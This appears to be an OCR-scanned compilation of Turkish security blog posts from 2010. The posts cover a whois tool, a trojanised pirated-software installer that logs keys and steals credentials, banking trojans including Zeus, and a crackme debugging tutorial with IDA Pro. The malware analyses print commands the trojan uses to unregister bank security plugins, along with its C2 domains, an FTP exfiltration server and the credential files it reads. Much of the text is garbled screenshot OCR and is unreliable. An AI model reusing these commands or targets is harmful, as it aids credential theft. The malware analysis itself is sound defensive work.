hangi kuruma ait oldugu bilgisine ihtiyaciniz vardir. Bu gibi durumlarda Ripe, AfriNIC, APNIC, ARIN, LACNIC gibi bdlgesel ip
adresi dagitan kurumlarin sitelerinde bu ip adreslerini sorgulatarak ip adresini kayit eden kurum ile ilgili olarak detayli bilgi edinmeye
calisirsiniz. Kurum ile ilgili bilgi ¢ogunlukla desc veya OrgName alaninda yer aldig1 icin ip adresi (sadece Tiirkiye ile smirli olan)
sorgulayan ve bu alan1 goriintiileyen whois_desc adinda basit bir ara¢ hazirladim.

Aracin kullanim1 oldukga basit. Yapmaniz gereken elinizdeki ip adreslerini ip.txt dosyasi igine kayit etmek ve daha sonrasinda araci
calistirmak.

Arag, ip sorgulamalarini http://www.whois.com.tr sitesi tizerinden gergeklestiriyor fakat bu sitenin kullanim sdzlesmesinde bu bilgilerin
toplanmasinin yasak oldugu belirtildigi i¢in programi sadece ip adreslerini sorgulayacak ve goriintiileyecek sekilde hazirladim, sonuglari
kayit eden kismi1 commentledim.

Eger programin sadece Tiirkiye'ye ait ip adresleri ile sinirli olarak sorgulama gergeklestirmesini istemiyorsaniz kaynak kodundan 50. ve
55. satirlar arasinda yer alan asagidaki kodlar1 commentleyebilirsiniz veya silebilirsiniz.

url = "http://ww. whois.comtr/?2g="+ip.strip()
opener . addheaders = [(' User-agent', 'Mzilla/5.0")]
f = opener.open(url)
response = f.read()
if response.find("rkiye") < O:
conti nue
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Turk Telekom HDSE:TT net_dynanic
: Turk Telekom ADSL-TT net

Programi buradan indirebilirsiniz.

Korsan Yazilimlardaki Tehlike

Source: https://www.mertsarica.com/korsan-yazilimlardaki-tehlike/
By M.S on November 20th, 2010

=3

Nedense korsan yazilim denilince aklima hemen Kadikdy Yazicioglu Ishani gelir. Orta okul yillarinda (1996-1998) usanmadan
sikilmadan her haftasonu arkadaslarla bulusup yeni oyun almak i¢in oraya giderdik. Oniine koca koca tezgahlar kurulur, yazilim, oyun,
video ne ararsak bulurduk. O zamanlar ne bittorrent ne de baska p2p programlari vardi. Warez sitelerden dial-up baglant1 ve 28k
modem ile indirmekte peygamber sabr1 gerektirirdi. Aradan yillar gectikge 6grendik korsanin ne demek oldugunu, neden emek hirsizligi
oldugunu, neden iilke ekonomisine ve sektore zarar verdigini.

Her ne kadar giiniimiizde korsanla miicadelede biiyiik adimlar atiliyorda olsa eski yillara kiyasla baglanti hizlariin yiiksek olmasi,
dosya paylasim sitelerinin ¢goklugu ve torrent programlarinin neredeyse isletim sistemleri ile kurulu geliyor olmasi nedeniyle paylasim
kolaylasiyor, miicadele ise zorlastyor.

Emek hirsizligiydi, ekonomiye zarariyd: bir kenara, giinimiizde korsan yazilim kullanmamaniz i¢in ¢ok biiyiik bir neden daha var,
korsan yazilimla gelen zararli yazilimlar.

Art niyetli kisiler ¢ogunlukla zararli yazilimlarin1 yaymak i¢in o giin i¢in popiiler olan sistemleri (misal facebook iizerinden yayilan
trojan), insanlanlar1 kandirmak i¢in popiiler isimleri veya giincel olaylar1 kullanmayi severler. Korsan yazilim kullanimin yiiksek oldugu
son yillarda bu yazilimlarin art niyetli kisilerin ciddi anlamda hedefi haline ne zaman gelecegini merak eder dururdum.

Yine bir rutin zararli yazilim kontrolii amaciyla goz attigim popiiler paylasim sitesinden rastgele bir paket indirdim.
Paketi actigimda her zamanki gibi iginden 1 kurulum dosyasi ve bir de keygen dosyasi ¢ikti.
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.Multilingual. Incl.Keymaker-CORE [=]
File Edit Wew Favorites Tools Help ;#

e Back - &‘3 Lﬁ p Search [E_' Folders v
Address | ) C\Documents and Settings)administratoryDeskrop N 1. ing.a.Inc| Keymaker-CoRE M v | £ o

Mame = Size  Type Date Modified
File and Folder Tasks - McorE1OkEXE 135KE  Applcation 31.10,2010 22:21
9 Miske a new folder T CORE.NFO 12KB  MSInfo Document 31,10,2010 22:21
i [Z] File_id . diz 1KB DIZ File 31.10,2010 22:21
(2] S\ﬂs“ this folder to the [lkevgen.exe 167 KB Application 31.10.2010 22:20
@ chararth e e @nud.jpg 30KB JPEG Image 31.10.2010 22:32
isetup.exe 145,844 KB Application 01.11,2010 07:07

Other Places £

(= I
la My Documents

| Shared Documents

g My Computer

.d Iy Mebwork Places

Details

Kurulum dosyasini ¢alistirdigimda giivenlik duvari GoogleUpdate.exe programinin bir ip adresi ile haberlesmek istedigi uyarisini verdi.
Siipheli bu durum karsisinda kurulum paketi tarafindan olusturulan kurulum paketlerine géz atmaya karar verdim. %temp% klasorii
icinde olusturulan ve bu pakete ait olan klasoriin i¢ine baktigimda dosya isimleri siiphe duymama yetti.

& SETUP_14567

Ele Edt Vew Favotes Took Help &

Qe - ) (F POsewh [ rodes [

Addess |23 CADOCUME~1LADMINI~ 1L OCALS~1\Temp\SETUP_14567 v B
Name Sge  Typs ~ Date Modified -~

File and Folder Tasks

[2] setup.txt IKE Text Document 01.11.2010 07:07
= Doctor..asp BKE Q5P File 01.11.2010 07:07
>3 Madern_Setup.bmp IS0KE Bitmap Image 21.04.2003 11:16

) Make 5 new folder

%] FENBES DSt S Modern_jcon,bmp BKE Bitmap Image 21,04.2003 11117
iad Share this Folder Engine. exe SO9KB  Apphcation 21.09.2010 21:58
00000#s8tup.exe 5.120K8 Apphcation 31.10.2010 22:20
me.uxp.mu S.120kB 00014 File 31.10.2010 22:20
5 00000# sebup.exe.00013 5.120KB 00013 Fle 31.10.2010 22:20
= 00000# setup. exe. 00012 S.120KB 00012 Fle 31.10,2010 22:20
3 00000 # setup. e 00011 5.120KB DOO11 Fée 31.10.2010 22:20
= 00000#58tup. 8200010 5.120KB 00010 Fie 31,10.2010 22:20
=4 00000#setup. exe.00009 5.120KB 00009 Fle 31.10.2010 22:20
= 00000#setup e xe.00008 5.120KB 00008 Fie 31.10.2010 22:20
= 00000#setup.x2.00007 5.120KB 0007 Fle 31.10.2010 22:20
gmm.sxa.m S.120KE OO00E File 31.10.2010 22:20
3 00000# setup.exe. 00005 5.120KE 00005 Fie 31.10.2010 22:20
= 00000 setup. £xe.00004 5.120KB 00D Fie 31,10.2010 22:20
gmm,axc.m S.120KB 00003 Fie 31.10.2010 22:20
00000# setup.exe. 00002 5.120KB 0002 Fie 31.10.2010 22:20
00000# setup. axe. 00024 5.120KB 00024 Fle 31.10.2010 22:20

= 00000# setup.exe. 00023 5.120KB 00023 Fle 31.10.2010 22:20
000008 setup, &xe. 00022 5.120KB 00022 Fle 31.10.2010 22:20
gmm,axe 00021 S.120KE 00021 Fle 31.10.2010 22:20
3 00000#setup. 2000020 5.120KB 00020 Fie 31,10.2010 22:20
00D00# setup.exe. 00019 5.120KB 00019 Fle 31.10.2010 22:20

|l 00000 sebup . xe. 00016 5.120kB 00018 File 31,10.2010 22:20
=8 00000 #setup.#xe.00017 5.120KB 00017 Fie 31.10.2010 22:20
5.120KB 00016 Fle 31,10.2010 22:20

5.120KB 00015 Fie 31.10.2010 22:20

1,004 KB Apphcation 31.10.2010 23:17

GIBKB  Application 31.10.2010 23:17

72IKB 00029 Fle 31.10.2010 22:20

5.120KB 00028 Fle 31,10.2010 22:20

5.120KB 00027 Fie 31.10.2010 22:20

S.120KB 00026 Fle 31.10.2010 22:20

Kurulumu tekrar baglatip Procmon ile setup.exe, update.exe, updater.exe ve googleupdate.exe icin filtrele hazirladiktan sonra
updategillerin davranisglarini yakindan inceledim.

updater.exe 196 CreateFile C:\Documents and Settings\Administrator\Application Data\GoogleUpdate.exe
updater.exe 196 RegSetValue HK CU\Software\Microsoft\Windows\Current Version\Run\GoogleUpdate

update.exe 3224 CreateFile C:\Program Files\Trillian\users\default\msn.ini
update.exe 3224 CreateFile C:\Program Files\Trillian\users\default\aim.ini
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update.exe 3224 CreateFile C:\Program Files\Trillian\users\default\yahoo.ini
update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\.purple\accounts.xml
update.exe 3224 CreateFile C:\Documents and Settings\All Users\Application Data\DynDNS\Updater\config.dyndns

update.exe 3224 QueryEalnformationFile C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome
\User Data\Default\Web Data

update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\chrtmp
update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\Opera\Opera\wand.dat

update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\FileZilla\recentservers.xml update.exe 3224
CreateFile C:\Documents and Settings\All Users\Application Data\FlashFXP\3\Sites.dat

update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\GlobalSCAPE\CuteFTP Pro\8.0\sm.dat
update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\GlobalSCAPE\CuteFTP Home\8.0\sm.dat

update.exe 3224 CreateFile C:\Documents and Settings\Administrator\Application Data\GlobalSCAPE\CuteFTP Lite\8.0\sm.dat

GoogleUpdate.exe 320 CreateFile C:\Documents and Settings\Administrator\Local Settings\Temp\dclogs.sys
GoogleUpdate.exe 320 CreateFile C:\Documents and Settings\Administrator\Cookies\index.dat

GoogleUpdate.exe 320 CreateFile C:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat

Daha kurulum penceresi gelmeden sistemimdeki bir cok programa bu kadar ilgi ve alaka gdstermesi ve baslangicta calismak sistemde
degisiklik yapmasi kurulum dosyasinin zararsiz olmadigini kanitliyor gibiydi.

Wireshark ile trafigi inceledigimde program siipheli iki alan adi ile iletisime gecmeye ¢alisiyordu.

7 VMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wireshark
Fle Edt View Go Caphure Analyze Statistics Telephony Took Help
e EEAXRE Qe+ T i BE QD GE8 % B

Fiter: | (1(1p.dst == 239.255.255.250)) Bk 1w s1C == Fof0::25 fas) ~ Exp + Cloag Apoly

Time: Source Destination Protocol Info
552 794.754533 L168.2. 192.168.2.2 uanﬂnrﬂ query A nx‘lnga Zapta.org

No. -

553 794,856785 92.1 2 . o resp A 127.0.0.1
555 800Q.770893 92.168.2.128 snndard quur'y A zzan0u, servegame, com
556 800.879591 .168.2. 192.168. 2.1.28 ] sundard uwy response A 69.55. 19.11! a 69.65,19.117

182 168.2.128 : icpvz > Adapt-sna ACK seqol Ack-:l_ 64240 Lenno
70 824.176437 BT 168, 2. Standard query A mazinga.zapto.org
571 824.285635 . 2 192.168.2.128 tandard query resp A127.0.0.1

572 827.660321 192, 12 192.168.2.2 Standard query A 2zanQu, servegame.com
573 827.7?1515 i el 162.168.2.128 snndaru qulr runmu A B9, 65 19.117 A 69.65.19.116

577 330 515506 69 65. lg 1_16 92 168. 2 128 1Cpuz > dcs LACK. Seq-l Ack=1 \n‘innﬁdzdo Lens0

584 B43.287424 192.168.2.1 192.168.2.255 BROWSER Domain/workgroup Announcement WRKGRDLIP. NT workstation, Domain Enum
588 B52.456431 192.168.2.128 192.168.2.2 DNS sStandard query A mazinga.

580 852. 569882 vmware_f2:27:01 eroadcast ARP who has 192,168.2.1287 Tel 192 155 2.2

590 852.569928 vmware_75:0d:93 vmware_f2:27:01 ARP 192. 168 2.128 s at 00:0c:29:75:0d:93

591 B52.570163 192.168.2.2 192.168.2.128 DNS st o query r A127.0.0.1

593 857.206694 192.168.2.128 192.168.2.2 DNS standard query A mnou servegame, com

594 857.315276 .2.2 192.168.2.128 DNS standard query response A 69 65. 19 117 A 69.65.19.116

Frame 254 (126 bytes on wire, 126 bytes captured)

Ethernet II, Src: vmware_f2:27:01 (00:50:56:f2:27:01), Dst: vmware_75:0d:93 (00:0c:29:75:0d:93)
internet Protocol, Src: 192.168.2.2 (192.168.2.2), Dst: 192.168.2.128 (192.168.2.128)

user Datagram Protocol, Src Port: domain (53), Dst Port: 33491 (33491)

pomain Name System (response)

BEERE

0000 00 Oc 29 75 Od 93 00 50 56 T2 27 01 OB 00 45 00 ee U P V. L LE,

0010 00 70 72 £35 00 00 B0 11 41 b5 c0 aB 02 02 cO a8 aPresens Avsvasns

0020 02 80 00 35 82 d3 00 5¢ 4a e6 d5 Ba 81 B0 00 01 FIEPR R, T R

0030 00 01 00 00 00 00 03 31 31 37 02 31 39 02 36 35 ....... 117.19.65

0040 02 36 39 07 609 6e 2d 61 64 64 72 04 61 72 70 61 .69.in-a ddr.arpa v
ANED__AA_AN A= A0 A~ A AN A= A0 00 (0 A0 A0 _NE AN

D) ¥Mware Accelerated AMD PCNet Adapter (Micro.. Packets: 602 Displayed: 219 Marked: 0 Profie; Defaut

Bunun {izerine ek olarak %temp% klasorii altinda bulunan dclogs.sys dosyasini agtifimda tus kayitlarim ile karsilastigima hig
sasirmadim.
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< >
For Help, press F1

Kurulum dosyasi tarafindan olusturulan klasor i¢inde yer alan DoctoR.qsp dosyasini agtigimda ise kurulum dosyasinin (setup.exe) 6zel
olarak olusturuldugunu ve kurulumda orjinal programa ilave olarak tus kayit bilgilerini calmak iizere hazirlanmis olan update.exe ve
updater.exe adindaki iki trojanida ¢aligtirmak iizere hazirlanmig oldugunu gérdiim.

Arg-000-13=setup.exe

Arg-000-16=update.exe

Arg-000-25=updater.exe

C:\Documents and Settings\Administrator\Application Data\chrtmp dosyasina SQLite Database Browser ile goz attigimda internet
tarayicisi tarafindan kayit altina alinan bilgileride galdigini 6grenmis oldum.

= s(QLite Database Browser - C:/Users| — [Deskto ._,- n =19] x|
File Edit View Help

IDNSEY =y E o

Database Structure Browse Data | Execute SQL I

&l MNew Record | Delete R.eoordl
Le

17|

Table:

meta i
et |
keywords
token_service
I logins )
| ie7_logins 2
web_app_icons
" web_apps
| autofil 26
autofil_dates
autofil_profiles
credit_cards

N TP X

< | 1-40f4 = Go to: ||0

Son olarak Virustotal sonuglarina baktigimda ise bunlarin zararli yazilim olduklari konusunda artik hi¢ siiphem kalmamisti. (update.exe
, updater.exe , googleupdate.exe )

Sonug olarak giiniimiizde korsan yazilimlarinda art niyetli kisilerin hedefi haline geldigini, iilke ekonomisini diisiinmeyenlerin en azindan
kendi sistemlerinin, verilerinin giivenligi igin lisansli yazilimlar kullanmalar1 gerektiginin altin1 bu vesileyle ¢izmek isterim.
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Bir sonraki yazida goriismek dilegiyle herkese giivenli haftalar dilerim.

Trojan Haftasi

Source: https://www.mertsarica.com/trojan-haftasi/
By M.S on November 7th, 2010

e

Miisterilerinden gelen ihbarlar nedeniyle bankalar gectigimiz haftaya hizli bagladilar. Ozellikle Sali giiniine MIB (Man in the mobile)
saldiris1 gergeklestirebilen Zeus trojant damgasint vurdu. Yaklasik 1 ay once Netsec'in 35. sayisinda bu trojana deginmis ve yakin
zamanda bu yontemi kullanan trojanlar ile karsilasabilecegimizi belirtmistim ki ¢ok gegmeden Tiirkiye'deki bazi bankalart hedef alarak
ortaya ¢ikiverdi.

Gelen ihbarlarin ¢ogu bankalarin internet bankacilig1 giris sayfasinda siipheli bir pencerenin agildigi, TCKN ve cep telefonu bilgilerinin
istendigi yoniinde oldu. Daha sonra gelen ihbarlar ise cep telefonuna bir sms gonderildigi ve mesajda bir adresin yer aldig1 ve bu adresteki
zararlt yazilimi kuran kigilerin internet bankaciligina giriste ve bankacilik islemlerinde kullanmig olduklart SMS kodlarinin ¢alindigi
yoniinde oldu. {1k basta isin iginde tek bir trojanin oldugunu diisiiniilsede ¢ok gegmeden farkli kaynaklardan toplanan bilgiler bir araya
getirilerek iki farkli trojanin oldugu ortaya gikt.

Trojanlardan biri, kullanicinin, trojanin lizerinde tanimli olan PTT (interaktif posta ¢eki sayfasi), Paypal, bir hacking forumu ve 19 tane
bankaya ait olan internet bankacilig1 sayfalarindan bir tanesine girmesi durumunda kullanici ad1 ve sifresini ¢aliyor, ekran goriintiilerini
diske kayit ediyor ve eger ziyaret edilen site bu 19 bankadan bir tanesinin internet bankaciligi sitesi ise ilave olarak yeni bir pencere agarak
TCKN ve cep telefonu bilgilerini altyor ve bir ftp sunucusuna gonderiyor digeri ise, nam-1 diger Zeus, internet bankaciligi kullanici adi
ve sifresini calmakla yetinmeyip kullanicidan cep telefonu numarasi, cep telefonu marka ve model bilgilerinide isteyerek cep telefonuna
zararli bir yazilim, trojan géndererek cep telefonuna gelen SMS'leri ¢aliyordu.

TCKN ve cep telefonu bilgisi toplayan trojan, e-posta yolu ile yayiliyor ve bilgi glivenliginin en zayif halkasi olan insani istismar
ediyordu.

From: HABERTURK [mailto- haber@haberturk com
Sent: Monday, November 01, 2010 715 PM . T a
Subject: ' VARAN 2" DENIZ BAYKAL' A IKINCT SOK_. DENIZ BAYKALIN IKINCI SEX VIDEOSUNU YAYIMLIYORUZ

HABERTURK.COM TURKIYENIN
EN BUYUK INTERNET GAZETESI

DAHA ONCE 1. CisI YAYINLANAN DENIZ BAYKAL
VE NESRIN BAYTOK'UN SEKS GORUNTULERININ
2.8DE VARAN 2 ADIYLA HABER
MUDURLUGUMUZE GONDERILDLYAYIN YASAGT
NEDENT ILE HABERI ERIMIZDE
YAVINLAYAMADIGIMIZ GORONTULERT INTERNET
‘UZERINDEN SIZLERE SUNUYORUZ.

0 video.haberturk.rar
340K Download

Rar dosyasi agildiginda iginden video.haberturk.com adinda bir dosya ¢ikiyordu. 2 Kasim tarihinde dosyay1 VirusTotal sitesinde
tarattigimda sadece 5 tane antiviriis (DrWeb, Sunbelt, Panda, Kaspersky, Prevx), 3 Kasim tarihinde tarattigimda ise 6 tane antiviriis
(DrWeb, Sunbelt, Panda, Kaspersky, Prev, NOD32) bunu zararli yazilim olarak tespit ediyordu. (Su an itibariyle ise sadece 9 tane
antiviriis (DrWeb, Sunbelt, Panda, Kaspersky, McAfee, McAfee-GW-Edition, Fortinet, AntiVir, NOD32) bu dosyay1 taniyor.)

TCKN ve cep telefonu bilgisi toplayan trojana ait dosyalari statik olarak analiz ettigimde;

* Video.haberturk.com dosyasinin Delphi programlama dili ile programlandigini,
* Son olarak 1 Kasim tarihinde degistirildigini,

 ftp.my3gb.com sunucusuna (ftp sifresi degistigi ve my3gb yoneticileri tarafindan hesap silindigi i¢in sunucu adini ifsa ediyorum)
baglanma ihtimali oldugunu,

» Kayit altina alinan ve sunucuya génderilen dosyalarin baskalar1 tarafindan calinmamasi adina ftp kullanici ady, sifre, port ve bazi
bilgileri sifreleyerek sakladigini sdyleyebilirim.

=t_name=Fftp.mydgh.con =

.n...user_name=|k@..0.2

....n...port_name=t?

..kull_name=
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Dinamik olarak analiz ettigimde ise;

Calistirilir calistirilmaz windows\system32 klasorii altinda javascheds.exe adinda bir dosya, windows\system32\drivers klasorii
altinda ise ie_plugin.exe adinda baska bir dosya olusturdugunu,

Windows\system32\drivers klasorii altinda security adinda gizli bir klasér olusturarak icine 19 tane bankanin logosunu resim
dosyasi olarak kayit ettigini,

Tus kayit bilgilerini C:AWINDOWS\system32\wins\syskl32.sys dosyasina kayit ettigini,
Internet bankaciligina giris esnasinda aldig1 ekran gériintiilerini C:\WINDOW S\system32\wins\setup klasorii altina kayt ettigini,
ie_plugin.exe dosyasinin UPX ile paketlenmis oldugunu,

DDE yontemi ile bu 19 bankaya ait internet bankacilig1 adreslerini izledigini ve bu adreslere girilmesi durumunda TCKN ve cep
telefonu bilgisi toplayan ve ilgili bankanin logosunu igeren bir pencere olusturdugunu, tus kaydi yaptigini ve ekran goriintiisii
aldigim

Giivenlik kalkani ve giivenli girisi devre dis1 biraktigini,
Sadece internet explorer ve firefox internet tarayicilarini destekledigini,

Kayit altina aldig1 ekran goriintiilerini ve tus kayitlarint ftp.my3gb.com sunucusuna géndermeye calistigin (ftp sifresi degistigi
ve my3gb yoneticileri tarafindan hesap silindigi i¢in sunucu adini ifsa ediyorum),

TCKN bilgisi aldig1 ekranda tckn algoritmasindan faydalanarak dogrulama yaptigini ve hatali tckn girilmesi durumunda hata
mesaj1 ¢gikarttigini,

Startup klasoriine SunJavaUpdateSched kisayolu olusturdugunu,

Trojan'da bug oldugunu, firefox.exe dosyasini ortam degiskenlerinden (environment variable) PATH degiskeninde yer alan tiim
klasorlerde teker teker aradigimi fakat hi¢ bir zaman bulamayacagini ¢iinkii firefox'un kurulum esnasinda klasor bilgisini PATH
degiskenine eklemedigini, siirekli arama islemi gerceklestirmesi nedeniyle yiliksek CPU tiiketimine yol agtigini :p

Bankalara ilave olarak PTT, Paypal ve bir hacking forumuna giris esnasinda ekran goriintiileri aldigini,

10 Aralik 2009 tarihinde analiz ettigim zararli yazilimin yeni bir varyanti oldugunu sdyleyebilirim.

Giivenli girisi kaldirma girisimleri:
cmd.exe + command.com /c regsvr32 /u /s %WINDIR%/Downloaded Program Files/tebedit.ocx

Giivenlik kalkanini kaldirma girisimleri:
cmd.exe + command.com /c regsvr32 /u /s % WINDIR%/Downloaded Program Files/JaguarEditControl.dll

cmd.exe + command.com /c regsvr32 /u /s % WINDIR%/Downloaded Program Files/JaguarEdit4ISB.dl

Listfen TC Kimlik Numaranizi giriniz x|

.

Liitten Telefan Numaranizi giriniz

s

Onayla

Seyin miisterimic kimliginizi

dogrulamak igin lifen giris

wapiniz

BANK A Z€
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SECTION UF'XD

EIITMAF' FORNH _SEC_BRUSH_BMP 0100
STRING OFFA 0000
STRING OFFE 0000
STRING OFFC 0000
STRING OFFD 0000
STRING OFFE 0000
STRING OFFF 0000
STRING 1000 0000
RCDATA AKBAMK 041F
RCDATA ALBARA O41F
RCDATA ANADCOLU O4F
RCDATA ASYA O41F
RCDATA DEMIZ OMF
RCDATA DWCLAL 0000
RCDATA FINANS 041F
RCDATA FORTIS O41F
RCDATA GARA O41F
RCDATA HALK 041F
RCDATA HSBC 041F
RCDATA ING O41F
RCDATA ISBANK D41F
RCDATA KUWEYT O41F
RCDATA PACKAGEINFO 0000
RCDATA SEKER 041F
RCDATA TEB 0OMF
RCDATA TRFINANS 041F
RCDATA, WAKIF 041F
RCDATA YAPIKREDI 041F
RCDATA ZIRAAT 041F
IMAGE_TLS_DIRECTORY
- SECTION .rsrc

Efsane Zeus trojanina gelecek olursam elimde analiz edebilecek bir numune olmadigt i¢in duyduklarimi ve gordiiklerimi sizinle
paylasabilirim.

Bana "cep telefonuna bulasan bir trojan varmis" diye sdylediklerinde hemen aklima bunun man in the mobile yapabilen Zeus trojani
oldugu geldi ve konuyla ilgili biraz daha bilgi edindigimde bulagma yontemininde ayni oldugu 6grendim. Kullanicidan cep telefonu
numarast, marka ve model alintyor ve daha sonrasinda sms ile bir web adresi gonderiliyor ve kullanici bu adresteki zararli yazilimi yiikler
yiliklemez artik cep telefonuna gelen SMSler (amag internet bankaciligina giris ve islemler esnasinda kullanilan SMS kodunu ¢almak)
gizlice (sms geldigi zaman cep telefonu size haber vermiyor) art niyetli kisilere gonderiliyordu. Buraya kadar hersey normaldi fakat ne
zaman ki Zeus bulagmig bir kullaniciya ait ekran goriintiisii gérdiim o zaman gozlerime inanamadim ¢iinkii basit bir html injection ile
sunucudan gelen yanita bir form eklendigini diigiiniirken ¢ok farkli bir sahne ile karsilastim. Aklinizda canlandirabilmeniz adina her
zaman girmis oldugunuz internet bankacilig1 uygulamasini diisiiniin ve girer girmez tasarim ayni, tim meniiler yerli yerinde, butonlar,
font hersey orjinali ile ayn1 tek fark yeni bir mesaj ile karsilagiyorsunuz. Mesajin icerigi oldukca basarili kisaca sizi dolandiriciliktan
koruyacagini vaad eden bir sertifikay1 cep telefonunuza yiiklemeniz konusunda kandirmaya ¢alisiyor. Mesaj1 okudugunuz zaman yazim
hatalar1 ve diisiik ctimleler sadece sizde sliphe uyandiriyor. Orjinal ekran goriintiisiinil etik agidan paylasmam dogru olmayacag: igin
sadece mesaji sizlerle paylagiyorum.

korumak igin uyguladsgemaz teknikler her gecen gin daha
sofistike hale gelme‘klaull Am:ak son giinlerde artan bicimde “Simkart Klonlama® olarak bilinen yeni bir

alik: sistemni hedef Bu sahte kimiik bilgisi ile simiart
s3tn ve SM3 korumak icin daha
sofistike bir dijital sentifika kullanamaya karar verrm;m Bu semhks SmartPhone (Alall telefon) lara
galsmakta ve her bagka Atalh SMS igleminde sizi tanitacak dijital bir imza Oretmektedi.

Lutfen segin
Seciniz -
Lutfen segin
Seqiniz -
(=113 listemizde voK (Se?
Cep telefonunuz --
Akilh SMS GSM Numaramz: +90 #| Segimimi hatirla

Mobil Dijital Sertifika kurumu igin gerekli olan link sectiginiz Cep telefonunuza gonderilecektir.
Mesa) telefonunuza ulagh@nda igersinder linke baglanarak uygulamay telefonunuza INGiNnk

Agikeasi insan bu mesaji okuduktan sonra "vay canina beni bile kandirirdi" diye diigiinmeden edemiyor. Zeus'un MIB ydntemini kullanan
stirimiiniin yurt digsinda kesfedilmesinin iizerinden daha 1 ay ge¢gmeden bu kadar kisa bir siire i¢inde Tiirkiye'de ortaya ¢ikmasini
beklemiyordum. Tiim bankalarin SMS OTP kullandi81 giinlimiizde umarim ilerleyen zamanlarda ¢ok daha fazla banka miisterisini hedef
alan bir trojan ile karsilasmayiz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

IDA Pro ile Remote Linux Debugging

Source: https://www.mertsarica.com/ida-pro-ile-remote-linux-debugging/
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By M.S on October 30th, 2010

=3,

Windows bagimlisi biri olarak benim diinyamda Linux, hep sanal makina i¢inde ¢alismaya mahkum olmustur. Her ne kadar Ubuntu'yu
¢ok seviyor olsamda aligkanlik ve oyunlar nedeniyle Windows kullanmaya uzun bir siire daha devam edecegim gibi duruyor. Windows
iizerinde debug i¢in Ollydbg, Immunity Debugger ve IDA Pro araglarini sik¢a kullaniyorum fakat sistem Linux olunca GDB kullanmak
gercekten grafik arayiizii olmamasi nedeniyle can sikici olabiliyor.

Fakat benim gibi sadece tek bir igletim sistemi kullanmiyor sanal makinalardanda faydalantyorsaniz Linux lizerindeki bir programi debug
etmek i¢in IDA Pro'nun uzaktan (remote) debug 6zelliginden faydalanabilirsiniz. Remote debugging, yerel veya uzaktaki ag tizerinde
yer alan bir sistemde calisan bir programi1 kendi sisteminiz iizerinden debug etmenizi saglar bu sayede 6rnek olarak uzak sistemde ¢aligan
zararl bir yazilim1 kendi sisteminize zarar vermeden analiz etme imkaniniz olmus olur.

Benim gibi ana sistem olarak Windows 7 kullantyorsaniz ve sisteminizde IDA Pro v5.x yiiklii ise su adimlari izleyerek Linux {izerindeki
renksiz GDB'ye giizel bir alternatifiniz olabilir :)

Yazinin daha kolay anlasilabilmesi i¢in 6rnek olarak Linux igin hazirlanmis bir crackme programini debug edecegiz. Crackme, tersine
miihendislik becerilerinizi gelistirebilmeniz igin internet tizerindeki goniilliiler tarafindan kirilmak iizere hazirlanmig programlara verilen
isimdir.

[lk olarak Crackmes.de sitesinden cyrex’s Linux CrackMe programini indirelim ve C:\Program Files\IDA\crackme klasorii igine arsivden
¢ikartilmis halini kopyalayalim.

Oncelikle uzaktan debug etmek i¢in Windows sisteminiz {izerinde ida adinda bir kullanic1 yaratmanizi tavsiye ederim. Kullanicty1
yarattiktan sonra C:\Program Files\IDA klasoriinii paylasima agalim ve IDA kullanicisini bu paylagim iizerinde yetkilendirelim. Daha
sonra sanal makina i¢inde yiiklii olan Ubuntu'ya gegerek (evet herkes Ubuntu kullanmali :p) bulundugumuz klasor altinda ida klasorii
yaratalim ve arindan smbmount komutu ile az 6nce yaratmis oldugumuz paylasima baglanarak bu klasor i¢inde yer alan linux_server
programini galistiralim.

root@bt:"# mkdir ida
root@bt:"# smbmount ~-192.168.1.3-ida ida -o username=ida,password=ida,rw
root@bt:"# ls ida

root@bt:"# .-ridaslinux_server
IDA Linux remote debug server(3ST). Version 1.10. Copyright HexRays Z2004-2009
Listening on port #23946...

Daha sonra Windows'a gecerek IDA'y1 ¢aligtiralim ve File meniisiinden Open'a basarak C:\Program Files\IDA\crackme klasorii iginde
yer alan crackme programini agalim.
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Daha sonra iistteki meniiden Debugger't secelim ve daha sonra Remote Linux Debugger' secelim. Ardindan Debugger meniisiinden
Start process'i secelim ve Hostname kismina sanal makina i¢inde ¢aligan Ubuntu sisteminin IP adresini girelim.
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Function argument information has been propagated
The initial autocanalysis has been finished.

Pther]
au: ide Down Dek: 48 |

IP adresini girdikten sonra ise Debugger meniisiinden Start process'i segerek debug islemini baslatalim. (Her iki uyar1 mesajinida Yes
diyerek gecebiliriz.)

Crackme'yi kirmak i¢in bizden dogru sifreyi bulmamiz isteniyor. Debug islemi bagladiktan sonra Ubuntu'ya bakacak olursaniz ekranda
sizden dogru sifreyi girmenizi istedigini gorebilirsiniz. Buraya rastgele bir sifre girdigimizde (12345) hata mesajt ile karsilasiyoruz ve
debug islemi sonlaniyor.
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root@bt:"# mkdir ida

root@bt:"# smbmount ~-192.168.1.3-ida ida -o username=ida,password=ida,rw
root@bt:"# .ridaslinux_server

IDA Linux remote debug server(3T). Version 1.10. Copyright HexRays Z2004-2009
Listening on port #23946

Accepting incoming connection...

td_ta_new: application not linked with libthread

td_ta_new: application not linked with libthread

—-[ Linux CrackMe (Level:Z) by cyrex 1-

—[ TODPD: You have to get the valid Password 1-

Enter Password: 12345

—[ Ohhhh, your skills are bad try again later 1-
osing 1ncum1ng connect

Amacimiz dogru sifreyi bulmak oldugu i¢in bunun igin IDA'da Shift 12 tuslarina basarak Strings penceresini agalim ve az 6nce
karsilagtigimiz hata mesajmin iizerine iki defa basarak program iizerinde bu degiskenin tutuldugu ilgili boliime gidelim.

Faremizin imlecini char aOhhhhYourSkill[] {izerine getirdikten sonra x tusuna basarak bu degiskeni ¢agiran kod pargasina gidelim.

@, IDA - C:\Program Files\IDA\crackme \crackme N =8| x|

Fie Edt Jmp Seach View Debugger Optons Windows Hep

GH|--- CL YIRS Zlforvorsiz]| £ || = 4

EREE, : “ /8 MENY aT|[ W @

Ren [BER -«NX | 2-0-wSHK-~ J||: :h¥®P|lu EV¥ AR

BRSO FRB||F A PN W Renoelidebugoer

aE i 1 8 01 1] [N 1 —

